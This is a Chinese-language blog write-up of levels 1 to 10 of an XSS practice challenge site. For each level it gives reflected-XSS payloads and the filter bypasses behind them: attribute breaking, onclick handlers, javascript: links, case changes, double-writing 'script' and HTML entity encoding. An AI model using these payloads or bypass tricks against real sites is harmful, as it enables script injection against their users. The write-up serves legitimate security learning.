前几天学习了XSS,现在来做点题目巩固一下
目录
练习平台
level1
页面内没有输入框,注入点在url里
http://test.ctf8.com/level1.php?name=<script>alert(1)</script>

level 2
首先尝试注入简单的script标签,发现页面没有出现弹窗,注入失败了,查看源码发现没有被解析,输入的内容被插入input标签的value中了


在script标签前面加上">闭合value,插入内容被解析,注入成功
"><script>alert(1)</script>

level 3 (onclick)
按上一题的payload输入发现没有被解析,而且没有绕过value

查看源码与level2的源码对比发现value是单引号而且将< "进行了实体化,故而不能采用绕过input的方法了,我们可以给用单引号绕过value后给input添加属性 ,这样就不需要输入<了


给input添加onclick属性,赋值为alert(1),成功被页面解析后点击输入框,出现弹窗
'onclick='alert(1)

level 4
输入level2的payload查看源码发现value采用了",并且过滤了<>,于是采用和level4一样的方法

"onclick="alert(1)
level 5(a标签的使用)
尝试了script标签和img标签,以及onclick,都会在单词中间添加_,并且大小写绕过也不管用,但是双引号和尖括号还是可以使用的



"><a href="javascript:alert(1)">
我们可以采用a标签,添加一个链接,成功传入后点击payload出现弹窗

level 6(大小写绕过)
用level5的payload发现href中间插入了_尝试采用大小写绕过,发现都可以成功绕过

"><a Href="javascript:alert(1)">
"><Script>alert(1)</script>
level 7(双写)
输入"><script>alert(1)</script>发现script被 过滤为空了,我们采用双写绕过

"><sscriptcript>alert(1)</sscriptcript>
level 8
输入"><script>alert(1)</script>查看源码发现在keyboard下被实体化了,但是输入的字符串还被插入了a标签内,但是script被过滤了尝试大小写

发现注入的字符串会被统一成小写,我实在不知道用什么办法可以绕过了,看了别的大佬的题解发现可以采用HTML实体化绕过
将script实体化成功绕过
javascript:alert(1)
level 9
尝试注入了好多东西发现都显示不合法,发现需要http://的存在才可以注入


于是可以构造payload,发现script被过滤了,用大小写也不能绕过,只能采用HTML实体化绕过
javascript:alert('http://')
payload:
javascript:alert('http://')
level 10
发现被>实体化了,<被过滤了 ,没有别的办法从这里注入了,看了大佬们的题解发现可以将input标签的type改为text,那里注入



payload:
http://test.ctf8.com/level10.php?t_link=123&t_history=&t_sort="onclick="alert(1)

本文分享了作者在XSS挑战中的实战经验,从基础level1的URL注入,到level10的复杂绕过策略,包括script标签、a标签利用、大小写绕过和实体化技巧。通过一步步深入,展示了如何利用HTML特性和字符编码进行XSS攻击和防御。
http://test.ctf8.com/
1725

被折叠的 条评论
为什么被折叠?



